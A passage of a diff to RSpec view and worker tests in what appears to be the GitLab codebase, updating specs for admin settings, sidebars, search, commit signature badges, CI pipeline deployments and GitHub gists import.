- expect(rendered).to have_field('Full repack period')
- expect(rendered).to have_field('Git GC period')
- expect(rendered).not_to have_field('Optimize repository period')
- end
end
end
diff --git a/spec/views/admin/application_settings/general.html.haml_spec.rb b/spec/views/admin/application_settings/general.html.haml_spec.rb
index f229fd2dcdc..dd49de8f880 100644
--- a/spec/views/admin/application_settings/general.html.haml_spec.rb
+++ b/spec/views/admin/application_settings/general.html.haml_spec.rb
@@ -46,13 +46,9 @@ RSpec.describe 'admin/application_settings/general.html.haml' do
it_behaves_like 'does not render registration features prompt', :application_setting_disabled_repository_size_limit
end
- context 'with no license and service ping disabled' do
+ context 'with no license and service ping disabled', :without_license do
before do
stub_application_setting(usage_ping_enabled: false)
-
- if Gitlab.ee?
- allow(License).to receive(:current).and_return(nil)
- end
end
it_behaves_like 'renders registration features prompt', :application_setting_disabled_repository_size_limit
diff --git a/spec/views/admin/broadcast_messages/index.html.haml_spec.rb b/spec/views/admin/broadcast_messages/index.html.haml_spec.rb
deleted file mode 100644
index ba998085bf9..00000000000
--- a/spec/views/admin/broadcast_messages/index.html.haml_spec.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'admin/broadcast_messages/index' do
- let(:role_targeted_broadcast_messages) { true }
- let(:vue_broadcast_messages) { false }
-
- let_it_be(:message) { create(:broadcast_message, broadcast_type: 'banner', target_access_levels: [Gitlab::Access::GUEST, Gitlab::Access::DEVELOPER]) }
-
- before do
- assign(:broadcast_messages, BroadcastMessage.page(1))
- assign(:broadcast_message, BroadcastMessage.new)
-
- stub_feature_flags(role_targeted_broadcast_messages: role_targeted_broadcast_messages)
- stub_feature_flags(vue_broadcast_messages: vue_broadcast_messages)
-
- render
- end
-
- describe 'Target roles select and table column' do
- it 'rendered' do
- expect(rendered).to have_content('Target roles')
- expect(rendered).to have_content('Owner')
- expect(rendered).to have_content('Guest, Developer')
- end
-
- context 'when feature flag is off' do
- let(:role_targeted_broadcast_messages) { false }
-
- it 'is not rendered' do
- expect(rendered).not_to have_content('Target roles')
- expect(rendered).not_to have_content('Owner')
- expect(rendered).not_to have_content('Guest, Developer')
- end
- end
- end
-
- describe 'Vue application' do
- it 'is not rendered' do
- expect(rendered).not_to have_selector('#js-broadcast-messages')
- end
-
- context 'when feature flag is on' do
- let(:vue_broadcast_messages) { true }
-
- it 'is rendered' do
- expect(rendered).to have_selector('#js-broadcast-messages')
- end
- end
- end
-end
diff --git a/spec/views/admin/dashboard/index.html.haml_spec.rb b/spec/views/admin/dashboard/index.html.haml_spec.rb
index 337964f1354..6e9cb5e2657 100644
--- a/spec/views/admin/dashboard/index.html.haml_spec.rb
+++ b/spec/views/admin/dashboard/index.html.haml_spec.rb
@@ -51,6 +51,16 @@ RSpec.describe 'admin/dashboard/index.html.haml' do
expect(rendered).not_to have_content "Users over License"
end
+ it 'shows database versions for all database models' do
+ render
+
+ expect(rendered).to have_content /PostgreSQL \(main\).+?#{::Gitlab::Database::Reflection.new(ApplicationRecord).version}/
+
+ if Gitlab::Database.has_config?(:ci)
+ expect(rendered).to have_content /PostgreSQL \(ci\).+?#{::Gitlab::Database::Reflection.new(Ci::ApplicationRecord).version}/
+ end
+ end
+
describe 'when show_version_check? is true' do
before do
allow(view).to receive(:show_version_check?).and_return(true)
diff --git a/spec/views/errors/omniauth_error.html.haml_spec.rb b/spec/views/errors/omniauth_error.html.haml_spec.rb
index e99cb536bd8..487dd9f066f 100644
--- a/spec/views/errors/omniauth_error.html.haml_spec.rb
+++ b/spec/views/errors/omniauth_error.html.haml_spec.rb
@@ -15,8 +15,10 @@ RSpec.describe 'errors/omniauth_error' do
render
expect(rendered).to have_content(provider)
- expect(rendered).to have_content(_('Sign-in failed because %{error}.') % { error: error })
+ expect(rendered).to have_content(error)
expect(rendered).to have_link('Sign in')
- expect(rendered).to have_content(_('If none of the options work, try contacting a GitLab administrator.'))
+ expect(rendered).to have_content(
+ _('If you are unable to sign in or recover your password, contact a GitLab administrator.')
+ )
end
end
diff --git a/spec/views/groups/edit.html.haml_spec.rb b/spec/views/groups/edit.html.haml_spec.rb
index ddcfea0ab10..fda93ebab51 100644
--- a/spec/views/groups/edit.html.haml_spec.rb
+++ b/spec/views/groups/edit.html.haml_spec.rb
@@ -127,13 +127,7 @@ RSpec.describe 'groups/edit.html.haml' do
allow(view).to receive(:current_user) { user }
end
- context 'prompt user about registration features' do
- before do
- if Gitlab.ee?
- allow(License).to receive(:current).and_return(nil)
- end
- end
-
+ context 'prompt user about registration features', :without_license do
context 'with service ping disabled' do
before do
stub_application_setting(usage_ping_enabled: false)
diff --git a/spec/views/layouts/nav/sidebar/_admin.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_admin.html.haml_spec.rb
index d4e97d96dfd..163f39568e5 100644
--- a/spec/views/layouts/nav/sidebar/_admin.html.haml_spec.rb
+++ b/spec/views/layouts/nav/sidebar/_admin.html.haml_spec.rb
@@ -67,6 +67,24 @@ RSpec.describe 'layouts/nav/sidebar/_admin' do
it_behaves_like 'page has active sub tab', 'Topics'
end
+ context 'on runners' do
+ before do
+ allow(controller).to receive(:controller_name).and_return('runners')
+ end
+
+ it_behaves_like 'page has active tab', 'CI/CD'
+ it_behaves_like 'page has active sub tab', 'Runners'
+ end
+
+ context 'on jobs' do
+ before do
+ allow(controller).to receive(:controller_name).and_return('jobs')
+ end
+
+ it_behaves_like 'page has active tab', 'CI/CD'
+ it_behaves_like 'page has active sub tab', 'Jobs'
+ end
+
context 'on messages' do
before do
allow(controller).to receive(:controller_name).and_return('broadcast_messages')
diff --git a/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
index 080a53cc1a2..4de2c011b93 100644
--- a/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
+++ b/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
@@ -827,7 +827,7 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
end
- context 'gitlab.com' do
+ context 'gitlab.com', :with_license do
before do
allow(Gitlab).to receive(:com?).and_return(true)
end
diff --git a/spec/views/layouts/snippets.html.haml_spec.rb b/spec/views/layouts/snippets.html.haml_spec.rb
new file mode 100644
index 00000000000..69378906bcd
--- /dev/null
+++ b/spec/views/layouts/snippets.html.haml_spec.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'layouts/snippets', feature_category: :snippets do
+ before do
+ allow(view).to receive(:current_user).and_return(user)
+ allow(view).to receive(:current_user_mode).and_return(Gitlab::Auth::CurrentUserMode.new(user))
+ end
+
+ describe 'sidebar' do
+ context 'when feature flag is on' do
+ context 'when signed in' do
+ let(:user) { build_stubbed(:user) }
+
+ it 'renders the "Your work" sidebar' do
+ render
+
+ expect(rendered).to have_css('aside.nav-sidebar[aria-label="Your work"]')
+ end
+ end
+
+ context 'when not signed in' do
+ let(:user) { nil }
+
+ it 'renders no sidebar' do
+ render
+
+ expect(rendered).not_to have_css('aside.nav-sidebar')
+ end
+ end
+ end
+
+ context 'when feature flag is off' do
+ before do
+ stub_feature_flags(your_work_sidebar: false)
+ end
+
+ let(:user) { build_stubbed(:user) }
+
+ it 'renders no sidebar' do
+ render
+
+ expect(rendered).not_to have_css('aside.nav-sidebar')
+ end
+ end
+ end
+end
diff --git a/spec/views/profiles/notifications/show.html.haml_spec.rb b/spec/views/profiles/notifications/show.html.haml_spec.rb
index 9cdf8124fcf..1cfd8847bf8 100644
--- a/spec/views/profiles/notifications/show.html.haml_spec.rb
+++ b/spec/views/profiles/notifications/show.html.haml_spec.rb
@@ -5,6 +5,11 @@ require 'spec_helper'
RSpec.describe 'profiles/notifications/show' do
let(:groups) { GroupsFinder.new(user).execute.page(1) }
let(:user) { create(:user) }
+ let(:option_default) { _('Use primary email (%{email})') % { email: user.email } }
+ let(:option_primary_email) { user.email }
+ let(:expected_primary_email_attr) { "[data-emails='#{[option_primary_email].to_json}']" }
+ let(:expected_default_attr) { "[data-empty-value-text='#{option_default}']" }
+ let(:expected_selector) { expected_primary_email_attr + expected_default_attr + expected_value_attr }
before do
assign(:group_notifications, [])
@@ -16,14 +21,26 @@ RSpec.describe 'profiles/notifications/show' do
end
context 'when there is no database value for User#notification_email' do
- let(:option_default) { _('Use primary email (%{email})') % { email: user.email } }
- let(:option_primary_email) { user.email }
- let(:options) { [option_default, option_primary_email] }
+ let(:expected_value_attr) { ":not([data-value])" }
it 'displays the correct elements' do
render
- expect(rendered).to have_select('user_notification_email', options: options, selected: nil)
+ expect(rendered).to have_selector(expected_selector)
+ end
+ end
+
+ context 'when there is a database value for User#notification_email' do
+ let(:expected_value_attr) { "[data-value='#{option_primary_email}']" }
+
+ before do
+ user.notification_email = option_primary_email
+ end
+
+ it 'displays the correct elements' do
+ render
+
+ expect(rendered).to have_selector(expected_selector)
end
end
end
diff --git a/spec/views/profiles/preferences/show.html.haml_spec.rb b/spec/views/profiles/preferences/show.html.haml_spec.rb
index 4e4499c3252..6e0c6d67d85 100644
--- a/spec/views/profiles/preferences/show.html.haml_spec.rb
+++ b/spec/views/profiles/preferences/show.html.haml_spec.rb
@@ -54,8 +54,9 @@ RSpec.describe 'profiles/preferences/show' do
end
it 'has helpful homepage setup guidance' do
- expect(rendered).to have_field('Dashboard')
- expect(rendered).to have_content('Choose what content you want to see by default on your dashboard.')
+ expect(rendered).to have_selector('[data-label="Dashboard"]')
+ expect(rendered).to have_selector("[data-description=" \
+ "'Choose what content you want to see by default on your dashboard.']")
end
end
diff --git a/spec/views/projects/_files.html.haml_spec.rb b/spec/views/projects/_files.html.haml_spec.rb
deleted file mode 100644
index b6a8b4735b0..00000000000
--- a/spec/views/projects/_files.html.haml_spec.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'projects/_files' do
- include ProjectForksHelper
-
- let_it_be(:user) { create(:user) }
- let_it_be(:source_project) { create(:project, :repository, :public) }
-
- context 'when the project is a fork' do
- let_it_be(:project) { fork_project(source_project, user, { repository: true }) }
-
- before do
- assign(:project, project)
- assign(:ref, project.default_branch)
- assign(:path, '/')
- assign(:id, project.commit.id)
-
- allow(view).to receive(:current_user).and_return(user)
- end
-
- context 'when user can read fork source' do
- before do
- allow(view).to receive(:can?).with(user, :read_project, source_project).and_return(true)
- end
-
- it 'shows the forked-from project' do
- render
-
- expect(rendered).to have_content("Forked from #{source_project.full_name}")
- expect(rendered).to have_content("Up to date with upstream repository")
- end
-
- context 'when fork_divergence_counts is disabled' do
- before do
- stub_feature_flags(fork_divergence_counts: false)
- end
-
- it 'does not show fork info' do
- render
-
- expect(rendered).not_to have_content("Forked from #{source_project.full_name}")
- expect(rendered).not_to have_content("Up to date with upstream repository")
- end
- end
- end
-
- context 'when user cannot read fork source' do
- before do
- allow(view).to receive(:can?).with(user, :read_project, source_project).and_return(false)
- end
-
- it 'does not show the forked-from project' do
- render
-
- expect(rendered).to have_content("Forked from an inaccessible project")
- end
-
- context 'when fork_divergence_counts is disabled' do
- before do
- stub_feature_flags(fork_divergence_counts: false)
- end
-
- it 'does not show fork info' do
- render
-
- expect(rendered).not_to have_content("Forked from an inaccessible project")
- end
- end
- end
- end
-end
diff --git a/spec/views/projects/commit/show.html.haml_spec.rb b/spec/views/projects/commit/show.html.haml_spec.rb
index 1d9e5e782e5..52b3d5b95f9 100644
--- a/spec/views/projects/commit/show.html.haml_spec.rb
+++ b/spec/views/projects/commit/show.html.haml_spec.rb
@@ -92,7 +92,7 @@ RSpec.describe 'projects/commit/show.html.haml', feature_category: :source_code
let(:commit) { project.commit(GpgHelpers::SIGNED_COMMIT_SHA) }
it 'renders unverified badge' do
- expect(title).to include('This commit was signed with an <strong>unverified</strong> signature.')
+ expect(title).to include('This commit was signed with an unverified signature.')
expect(content).to include(commit.signature.gpg_key_primary_keyid)
end
end
@@ -101,8 +101,8 @@ RSpec.describe 'projects/commit/show.html.haml', feature_category: :source_code
let(:commit) { project.commit('7b5160f9bb23a3d58a0accdbe89da13b96b1ece9') }
it 'renders unverified badge' do
- expect(title).to include('This commit was signed with an <strong>unverified</strong> signature.')
- expect(content).to match(/SSH key fingerprint:[\s\S]+Unknown/)
+ expect(title).to include('This commit was signed with an unverified signature.')
+ expect(content).to match(/SSH key fingerprint:[\s\S].+#{commit.signature.key_fingerprint_sha256}/)
end
end
@@ -112,7 +112,6 @@ RSpec.describe 'projects/commit/show.html.haml', feature_category: :source_code
it 'renders unverified badge' do
expect(title).to include('This commit was signed with an <strong>unverified</strong> signature.')
expect(content).to include(commit.signature.x509_certificate.subject_key_identifier.tr(":", " "))
- expect(content).to include(commit.signature.x509_certificate.email)
end
end
end
diff --git a/spec/views/projects/edit.html.haml_spec.rb b/spec/views/projects/edit.html.haml_spec.rb
index 2935e4395ba..bf154b61609 100644
--- a/spec/views/projects/edit.html.haml_spec.rb
+++ b/spec/views/projects/edit.html.haml_spec.rb
@@ -93,13 +93,9 @@ RSpec.describe 'projects/edit' do
it_behaves_like 'does not render registration features prompt', :project_disabled_repository_size_limit
end
- context 'with no license and service ping disabled' do
+ context 'with no license and service ping disabled', :without_license do
before do
stub_application_setting(usage_ping_enabled: false)
-
- if Gitlab.ee?
- allow(License).to receive(:current).and_return(nil)
- end
end
it_behaves_like 'renders registration features prompt', :project_disabled_repository_size_limit
diff --git a/spec/views/registrations/welcome/show.html.haml_spec.rb b/spec/views/registrations/welcome/show.html.haml_spec.rb
index 99d87ac449b..372dbf01a64 100644
--- a/spec/views/registrations/welcome/show.html.haml_spec.rb
+++ b/spec/views/registrations/welcome/show.html.haml_spec.rb
@@ -7,10 +7,6 @@ RSpec.describe 'registrations/welcome/show' do
before do
allow(view).to receive(:current_user).and_return(user)
- allow(view).to receive(:in_subscription_flow?).and_return(false)
- allow(view).to receive(:in_trial_flow?).and_return(false)
- allow(view).to receive(:user_has_memberships?).and_return(false)
- allow(view).to receive(:in_oauth_flow?).and_return(false)
allow(view).to receive(:glm_tracking_params).and_return({})
render
diff --git a/spec/views/search/_results.html.haml_spec.rb b/spec/views/search/_results.html.haml_spec.rb
index e81462ee518..de994a0da2b 100644
--- a/spec/views/search/_results.html.haml_spec.rb
+++ b/spec/views/search/_results.html.haml_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'search/_results' do
+RSpec.describe 'search/_results', feature_category: :global_search do
using RSpec::Parameterized::TableSyntax
let_it_be(:user) { create(:user) }
@@ -11,7 +11,6 @@ RSpec.describe 'search/_results' do
let(:scope) { 'issues' }
let(:term) { 'foo' }
let(:search_results) { instance_double('Gitlab::SearchResults', { formatted_count: 10, current_user: user } ) }
- let(:search_service) { class_double(SearchServicePresenter, scope: scope, search: term, current_user: user) }
before do
controller.params[:action] = 'show'
@@ -20,6 +19,7 @@ RSpec.describe 'search/_results' do
create_list(:issue, 3)
allow(view).to receive(:current_user) { user }
+
assign(:search_count_path, 'test count link')
assign(:search_path, 'link test')
assign(:search_results, search_results)
@@ -27,8 +27,9 @@ RSpec.describe 'search/_results' do
assign(:search_term, term)
assign(:scope, scope)
- @search_service = SearchServicePresenter.new(SearchService.new(user, search: term, scope: scope))
- allow(@search_service).to receive(:search_objects).and_return(search_objects)
+ search_service_presenter = SearchServicePresenter.new(SearchService.new(user, search: term, scope: scope))
+ allow(search_service_presenter).to receive(:search_objects).and_return(search_objects)
+ assign(:search_service_presenter, search_service_presenter)
end
where(search_page_vertical_nav_enabled: [true, false])
diff --git a/spec/views/search/show.html.haml_spec.rb b/spec/views/search/show.html.haml_spec.rb
index 26ec2c6ae74..6adb2c77c4d 100644
--- a/spec/views/search/show.html.haml_spec.rb
+++ b/spec/views/search/show.html.haml_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe 'search/show', feature_category: :global_search do
stub_template "search/_category.html.haml" => 'Category Partial'
stub_template "search/_results.html.haml" => 'Results Partial'
- assign(:search_service, search_service_presenter)
+ assign(:search_service_presenter, search_service_presenter)
end
context 'search_page_vertical_nav feature flag enabled' do
diff --git a/spec/views/shared/projects/_list.html.haml_spec.rb b/spec/views/shared/projects/_list.html.haml_spec.rb
index 5c38bb79ea1..b7b4f97f2b6 100644
--- a/spec/views/shared/projects/_list.html.haml_spec.rb
+++ b/spec/views/shared/projects/_list.html.haml_spec.rb
@@ -82,7 +82,7 @@ RSpec.describe 'shared/projects/_list' do
it 'renders a no-content message' do
render
- expect(rendered).to have_content(s_('UserProfile|This user doesn\'t have any personal projects'))
+ expect(rendered).to have_content(s_('UserProfile|There are no projects available to be displayed here.'))
end
end
end
diff --git a/spec/workers/ci/build_finished_worker_spec.rb b/spec/workers/ci/build_finished_worker_spec.rb
index e8bb3988001..049f3af1dd7 100644
--- a/spec/workers/ci/build_finished_worker_spec.rb
+++ b/spec/workers/ci/build_finished_worker_spec.rb
@@ -65,6 +65,12 @@ RSpec.describe Ci::BuildFinishedWorker do
subject
end
end
+
+ context 'when it has a token' do
+ it 'removes the token' do
+ expect { subject }.to change { build.reload.token }.to(nil)
+ end
+ end
end
context 'when build does not exist' do
diff --git a/spec/workers/ci/initial_pipeline_process_worker_spec.rb b/spec/workers/ci/initial_pipeline_process_worker_spec.rb
index 5fb8671fd5c..c7bbe83433e 100644
--- a/spec/workers/ci/initial_pipeline_process_worker_spec.rb
+++ b/spec/workers/ci/initial_pipeline_process_worker_spec.rb
@@ -2,12 +2,13 @@
require 'spec_helper'
-RSpec.describe Ci::InitialPipelineProcessWorker do
- describe '#perform' do
- let_it_be_with_reload(:pipeline) do
- create(:ci_pipeline, :with_job, status: :created)
- end
+RSpec.describe Ci::InitialPipelineProcessWorker, feature_category: :continuous_integration do
+ let_it_be(:project) { create(:project, :repository) }
+ let(:job) { build(:ci_build, project: project) }
+ let(:stage) { build(:ci_stage, project: project, statuses: [job]) }
+ let(:pipeline) { create(:ci_pipeline, stages: [stage], status: :created, project: project, builds: [job]) }
+ describe '#perform' do
include_examples 'an idempotent worker' do
let(:job_args) { pipeline.id }
@@ -19,5 +20,52 @@ RSpec.describe Ci::InitialPipelineProcessWorker do
expect(pipeline.reload).to be_pending
end
end
+
+ context 'when a pipeline does not contain a deployment job' do
+ it 'does not create any deployments' do
+ expect { subject }.not_to change { Deployment.count }
+ end
+ end
+
+ context 'when a pipeline contains a teardown job' do
+ let(:job) { build(:ci_build, :stop_review_app, project: project) }
+
+ before do
+ create(:environment, name: job.expanded_environment_name)
+ end
+
+ it 'does not create a deployment record' do
+ expect { subject }.not_to change { Deployment.count }
+
+ expect(job.deployment).to be_nil
+ end
+ end
+
+ context 'when a pipeline contains a deployment job' do
+ let(:job) { build(:ci_build, :start_review_app, project: project) }
+ let!(:environment) { create(:environment, project: project, name: job.expanded_environment_name) }
+
+ it 'creates a deployment record' do
+ expect { subject }.to change { Deployment.count }.by(1)
+
+ expect(job.deployment).to have_attributes(
+ project: job.project,
+ ref: job.ref,
+ sha: job.sha,
+ deployable: job,
+ deployable_type: 'CommitStatus',
+ environment: job.persisted_environment)
+ end
+
+ context 'when the corresponding environment does not exist' do
+ let(:environment) {}
+
+ it 'does not create a deployment record' do
+ expect { subject }.not_to change { Deployment.count }
+
+ expect(job.deployment).to be_nil
+ end
+ end
+ end
end
end
diff --git a/spec/workers/cluster_provision_worker_spec.rb b/spec/workers/cluster_provision_worker_spec.rb
deleted file mode 100644
index 2d6ca4ab7e3..00000000000
--- a/spec/workers/cluster_provision_worker_spec.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe ClusterProvisionWorker do
- describe '#perform' do
- context 'when provider type is gcp' do
- let(:cluster) { create(:cluster, provider_type: :gcp, provider_gcp: provider) }
- let(:provider) { create(:cluster_provider_gcp, :scheduled) }
-
- it 'provision a cluster' do
- expect_any_instance_of(Clusters::Gcp::ProvisionService).to receive(:execute).with(provider)
-
- described_class.new.perform(cluster.id)
- end
- end
-
- context 'when provider type is aws' do
- let(:cluster) { create(:cluster, provider_type: :aws, provider_aws: provider) }
- let(:provider) { create(:cluster_provider_aws, :scheduled) }
-
- it 'provision a cluster' do
- expect_any_instance_of(Clusters::Aws::ProvisionService).to receive(:execute).with(provider)
-
- described_class.new.perform(cluster.id)
- end
- end
-
- context 'when provider type is user' do
- let(:cluster) { create(:cluster, :provided_by_user) }
-
- it 'does not provision a cluster' do
- expect_any_instance_of(Clusters::Gcp::ProvisionService).not_to receive(:execute)
-
- described_class.new.perform(cluster.id)
- end
- end
-
- context 'when cluster does not exist' do
- it 'does not provision a cluster' do
- expect_any_instance_of(Clusters::Gcp::ProvisionService).not_to receive(:execute)
-
- described_class.new.perform(123)
- end
- end
- end
-end
diff --git a/spec/workers/counters/cleanup_refresh_worker_spec.rb b/spec/workers/counters/cleanup_refresh_worker_spec.rb
new file mode 100644
index 00000000000..a56c98f72a0
--- /dev/null
+++ b/spec/workers/counters/cleanup_refresh_worker_spec.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Counters::CleanupRefreshWorker do
+ let(:model) { create(:project_statistics) }
+
+ describe '#perform', :redis do
+ let(:attribute) { :build_artifacts_size }
+ let(:worker) { described_class.new }
+
+ subject { worker.perform(model.class.name, model.id, attribute) }
+
+ it 'calls cleanup_refresh on the counter' do
+ expect_next_instance_of(Gitlab::Counters::BufferedCounter, model, attribute) do |counter|
+ expect(counter).to receive(:cleanup_refresh)
+ end
+
+ subject
+ end
+
+ context 'when model class does not exist' do
+ subject { worker.perform('NonExistentModel', 1, attribute) }
+
+ it 'does nothing' do
+ expect(Gitlab::Counters::BufferedCounter).not_to receive(:new)
+
+ subject
+ end
+ end
+
+ context 'when record does not exist' do
+ subject { worker.perform(model.class.name, non_existing_record_id, attribute) }
+
+ it 'does nothing' do
+ expect(Gitlab::Counters::BufferedCounter).not_to receive(:new)
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/workers/every_sidekiq_worker_spec.rb b/spec/workers/every_sidekiq_worker_spec.rb
index 788f5d8222c..c444e1f383c 100644
--- a/spec/workers/every_sidekiq_worker_spec.rb
+++ b/spec/workers/every_sidekiq_worker_spec.rb
@@ -210,6 +210,7 @@ RSpec.describe 'Every Sidekiq worker' do
'Deployments::LinkMergeRequestWorker' => 3,
'Deployments::SuccessWorker' => 3,
'Deployments::UpdateEnvironmentWorker' => 3,
+ 'Deployments::ApprovalWorker' => 3,
'DesignManagement::CopyDesignCollectionWorker' => 3,
'DesignManagement::NewVersionWorker' => 3,
'DestroyPagesDeploymentsWorker' => 3,
diff --git a/spec/workers/gitlab/github_gists_import/finish_import_worker_spec.rb b/spec/workers/gitlab/github_gists_import/finish_import_worker_spec.rb
index c4c19f2f9c5..cba6c578d11 100644
--- a/spec/workers/gitlab/github_gists_import/finish_import_worker_spec.rb
+++ b/spec/workers/gitlab/github_gists_import/finish_import_worker_spec.rb
@@ -2,13 +2,17 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubGistsImport::FinishImportWorker, feature_category: :importer do
+RSpec.describe Gitlab::GithubGistsImport::FinishImportWorker, :clean_gitlab_redis_cache, feature_category: :importers do
subject(:worker) { described_class.new }
let_it_be(:user) { create(:user) }
describe '#perform', :aggregate_failures do
context 'when there are no remaining jobs' do
+ before do
+ allow(Gitlab::Cache::Import::Caching).to receive(:values_from_hash).and_return(nil)
+ end
+
it 'marks import status as finished' do
waiter = instance_double(Gitlab::JobWaiter, key: :key, jobs_remaining: 0)
expect(Gitlab::JobWaiter).to receive(:new).and_return(waiter)
@@ -19,6 +23,8 @@ RSpec.describe Gitlab::GithubGistsImport::FinishImportWorker, feature_category:
expect(Gitlab::GithubImport::Logger)
.to receive(:info)
.with(user_id: user.id, message: 'GitHub Gists import finished')
+ expect(Notify).not_to receive(:github_gists_import_errors_email)
+ expect(Gitlab::Cache::Import::Caching).to receive(:expire).and_call_original
worker.perform(user.id, waiter.key, waiter.jobs_remaining)
end
@@ -35,6 +41,33 @@ RSpec.describe Gitlab::GithubGistsImport::FinishImportWorker, feature_category:
worker.perform(user.id, waiter.key, waiter.jobs_remaining)
end
end
+
+ context 'when some gists were failed to import' do
+ let(:errors) { { '12345' => 'Snippet maximum file count exceeded.' } }
+ let(:waiter) { instance_double(Gitlab::JobWaiter, key: :key, jobs_remaining: 0) }
+ let(:mail_instance) { instance_double(ActionMailer::MessageDelivery, deliver_now: true) }
+
+ before do
+ allow(Gitlab::Cache::Import::Caching).to receive(:values_from_hash).and_return(errors)
+ allow(Gitlab::JobWaiter).to receive(:new).and_return(waiter)
+ allow(waiter).to receive(:wait).with(described_class::BLOCKING_WAIT_TIME)
+ end
+
+ it 'sends an email to user' do
+ expect_next_instance_of(Gitlab::GithubGistsImport::Status) do |status|
+ expect(status).to receive(:finish!)
+ end
+ expect(Gitlab::GithubImport::Logger)
+ .to receive(:info)
+ .with(user_id: user.id, message: 'GitHub Gists import finished')
+ expect(Notify).to receive(:github_gists_import_errors_email)
+ .with(user.id, errors).once.and_return(mail_instance)
+ expect(mail_instance).to receive(:deliver_now)
+ expect(Gitlab::Cache::Import::Caching).to receive(:expire).and_call_original
+
+ worker.perform(user.id, waiter.key, waiter.jobs_remaining)
+ end
+ end
end
describe '.sidekiq_retries_exhausted' do
diff --git a/spec/workers/gitlab/github_gists_import/import_gist_worker_spec.rb b/spec/workers/gitlab/github_gists_import/import_gist_worker_spec.rb
index dfc5084bb10..1c24cdcccae 100644
--- a/spec/workers/gitlab/github_gists_import/import_gist_worker_spec.rb
+++ b/spec/workers/gitlab/github_gists_import/import_gist_worker_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubGistsImport::ImportGistWorker, feature_category: :importer do
+RSpec.describe Gitlab::GithubGistsImport::ImportGistWorker, feature_category: :importers do
subject { described_class.new }
let_it_be(:user) { create(:user) }
diff --git a/spec/workers/gitlab/github_gists_import/start_import_worker_spec.rb b/spec/workers/gitlab/github_gists_import/start_import_worker_spec.rb
index 523b7463a9d..220f2bb0c75 100644
--- a/spec/workers/gitlab/github_gists_import/start_import_worker_spec.rb
+++ b/spec/workers/gitlab/github_gists_import/start_import_worker_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubGistsImport::StartImportWorker, feature_category: :importer do
+RSpec.describe Gitlab::GithubGistsImport::StartImportWorker, feature_category: :importers do
subject(:worker) { described_class.new }
let_it_be(:user) { create(:user) }
diff --git a/spec/workers/gitlab/github_import/import_protected_branch_worker_spec.rb b/spec/workers/gitlab/github_import/import_protected_branch_worker_spec.rb
index 4a3ef2bf560..c2b8ee661a3 100644
--- a/spec/workers/gitlab/github_import/import_protected_branch_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_protected_branch_worker_spec.rb
@@ -14,7 +14,8 @@ RSpec.describe Gitlab::GithubImport::ImportProtectedBranchWorker do
let(:json_hash) do
{
id: 'main',
- allow_force_pushes: true
+ allow_force_pushes: true,
+ allowed_to_push_users: []
}
end
diff --git a/spec/workers/merge_requests/create_pipeline_worker_spec.rb b/spec/workers/merge_requests/create_pipeline_worker_spec.rb
index 441d7652219..afb9fa1a549 100644
--- a/spec/workers/merge_requests/create_pipeline_worker_spec.rb
+++ b/spec/workers/merge_requests/create_pipeline_worker_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe MergeRequests::CreatePipelineWorker do
+RSpec.describe MergeRequests::CreatePipelineWorker, feature_category: :continuous_integration do
describe '#perform' do
let(:user) { create(:user) }
let(:project) { create(:project) }
@@ -17,7 +17,7 @@ RSpec.describe MergeRequests::CreatePipelineWorker do
expect_next_instance_of(MergeRequests::CreatePipelineService,
project: project,
current_user: user,
- params: { push_options: nil }) do |service|
+ params: { allow_duplicate: nil, push_options: nil }) do |service|
expect(service).to receive(:execute).with(merge_request)
end
@@ -38,7 +38,7 @@ RSpec.describe MergeRequests::CreatePipelineWorker do
expect_next_instance_of(MergeRequests::CreatePipelineService,
project: project,
current_user: user,
- params: { push_options: { ci: { skip: true } } }) do |service|
+ params: { allow_duplicate: nil, push_options: { ci: { skip: true } } }) do |service|
expect(service).to receive(:execute).with(merge_request)
end
diff --git a/spec/workers/pages/invalidate_domain_cache_worker_spec.rb b/spec/workers/pages/invalidate_domain_cache_worker_spec.rb
index c786d4658d4..b3c81b25a93 100644
--- a/spec/workers/pages/invalidate_domain_cache_worker_spec.rb
+++ b/spec/workers/pages/invalidate_domain_cache_worker_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Pages::InvalidateDomainCacheWorker do
+RSpec.describe Pages::InvalidateDomainCacheWorker, feature_category: :pages do
shared_examples 'clears caches with' do |event_class:, event_data:, caches:|
include AfterNextHelpers
@@ -22,44 +22,70 @@ RSpec.describe Pages::InvalidateDomainCacheWorker do
end
end
+ context 'when a project have multiple domains' do
+ include AfterNextHelpers
+
+ let_it_be(:project) { create(:project) }
+ let_it_be(:pages_domain) { create(:pages_domain, project: project) }
+ let_it_be(:pages_domain2) { create(:pages_domain, project: project) }
+
+ let(:event) do
+ Pages::PageDeployedEvent.new(
+ data: {
+ project_id: project.id,
+ namespace_id: project.namespace_id,
+ root_namespace_id: project.root_ancestor.id
+ }
+ )
+ end
+
+ subject { consume_event(subscriber: described_class, event: event) }
+
+ it 'clears the cache with Gitlab::Pages::CacheControl' do
+ expect_next(Gitlab::Pages::CacheControl, type: :namespace, id: project.namespace_id)
+ .to receive(:clear_cache)
+ expect_next(Gitlab::Pages::CacheControl, type: :domain, id: pages_domain.id)
+ .to receive(:clear_cache)
